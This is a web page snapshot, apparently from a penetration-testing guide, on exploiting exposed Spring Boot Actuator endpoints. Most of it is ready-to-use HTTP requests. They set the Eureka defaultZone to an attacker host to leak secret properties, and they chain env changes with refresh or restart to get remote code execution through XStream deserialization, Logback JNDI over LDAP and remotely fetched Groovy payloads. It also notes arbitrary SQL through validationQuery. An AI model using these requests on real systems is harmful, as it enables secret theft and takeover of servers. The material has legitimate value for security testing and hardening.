添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

Spring Boot Actuators

Spring Boot actuators overview

Spring Boot includes a number of additional features called actuators to help monitor and control an application when it is pushed to production. Actuators allow controling and monitoring an application using either HTTP or JMX endpoints. Auditing, health and metrics gathering can also open a hidden door to the server if an application has been misconfigured.

Spring Boot includes a number of built-in endpoints (or endpoints for Spring Boot 1.x) and lets developers add their own. For example, the health endpoint provides basic application health information.

Each individual endpoint can be enabled or disabled and exposed over HTTP or JMX. An endpoint is considered to be available when it is both enabled and exposed. The built-in endpoints will only be auto-configured when they are available. Most applications choose exposure via HTTP, where the ID of the endpoint along with a prefix of /actuator is mapped to a URL. For example, by default, the health endpoint is mapped to /actuator/health .

To learn more about the actuator's endpoints and their request and response formats check Spring Boot Actuator Web API Documentation .

env

env exposes properties from Spring's ConfigurableEnvironment .

Spring Boot 2.x uses json instead of x-www-form-urlencoded for property change requests via the env endpoint

Information returned by the env and configprops endpoints can be somewhat sensitive so keys matching a certain pattern are sanitized (replaced by * ) by default. However, below you can find several ways to retrieve these values

eureka.client.serviceUrl.defaultZone

eureka.client.serviceUrl.defaultZone requires the following conditions:

  • /refresh endpoint is available

  • An application uses spring-cloud-starter-netflix-eureka-client dependency

Retrieving env properties

You can get env property value in plaintext with the next steps:

  1. Set the eureka.client.serviceUrl.defaultZone property:

    POST /actuator/env HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
        "name": "eureka.client.serviceUrl.defaultZone",
        "value": "http://value:${your.property.name}@attacker-website.com/"
    }
  2. Refresh the configuration

    POST /actuator/refresh HTTP/1.1
    Content-Type: application/json
  3. Retrive the property value from Authorization header from attacker-website.com logs

References:

XStream deserialization RCE

It requires Eureka-Client version < 1.8.7 .

You can gain RCE with the following steps:

  1. Set up a website that responds with a malicious XStream payload, check springboot-xstream-rce.py

  2. Set the eureka.client.serviceUrl.defaultZone property:

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
        "name": "eureka.client.serviceUrl.defaultZone",
        "value": "http://attacker-website.com/payload"
    }
  3. Refresh the configuration:

    POST /actuator/refresh HTTP/1.1
    Content-Type: application/json
  4. Code will be executed

It is possible because:

  1. The eureka.client.serviceUrl.defaultZone property is set to the external eureka server URL

  2. Refresh triggers a request to the fake eureka server that will return a malicious payload

  3. Response parsing triggers XStream deserialization that leads to code execution

References:

logging.config

logging.config requires /restart is available.

Logback JDNI RCE

logging.config can lead to RCE via Logback JNDI, check Logback JNDI RCE .

How to exploit:

  1. Host logback config XML file with the following context:

    <configuration>
        <insertFromJNDI env-entry-name="ldap://attacker-website.com:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
    </configuration>
  2. Host a malicious LDAP service, check the article how to prepare a payload and start the service

  3. Set logging.config properties:

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
        "name": "logging.config",
        "value": "http://attacker-website.com/logback.xml"
    }
  4. Restart an application:

    POST /actuator/restart HTTP/1.1
    Content-Type: application/json

Resource:

Groovy RCE

How to exploit:

  1. Host the payload.groovy file with the following content:

    Runtime.getRuntime().exec("open -a Calculator")
  2. Set logging.config :

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
        "name": "logging.config",
        "value": "http://attacker-website.com/payload.groovy"
    }
  3. Restart an application:

    POST /actuator/restart HTTP/1.1
    Content-Type: application/json

The chain contains the following steps:

  1. An attacker sets the Logback configuration file using the logging.config property

  2. An application requests the configuration after restarting

  3. ch.qos.logback.classic.util.ContextInitializer.java from logback-classic determines whether the URL groovy ends with

  4. Groovy code from the configuration file is executed

References:

spring.main.sources

spring.main.sources requires /restart is available.

How to exploit:

  1. Host the payload.groovy file with the following content:

    Runtime.getRuntime().exec("open -a Calculator")
  2. Set logging.config :

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
        "name": "spring.main.sources",
        "value": "http://attacker-website.com/payload.groovy"
    }
  3. Restart an application:

    POST /actuator/restart HTTP/1.1
    Content-Type: application/json

The chain contains the following steps:

  1. Set spring.main.sources as an external URL with a payload

  2. An application requests the URL after restarting

  3. org.springframework.boot.BeanDefinitionLoader.java from spring-boot determines whether the URL groovy ends with

  4. Groovy code from the configuration file is executed

References:

spring.datasource.tomcat.validationQuery

spring.datasource.tomcat.validationQuery allows specifying any SQL query, that will be automatically executed against the current database. It could be any statement, including insert, update, or delete.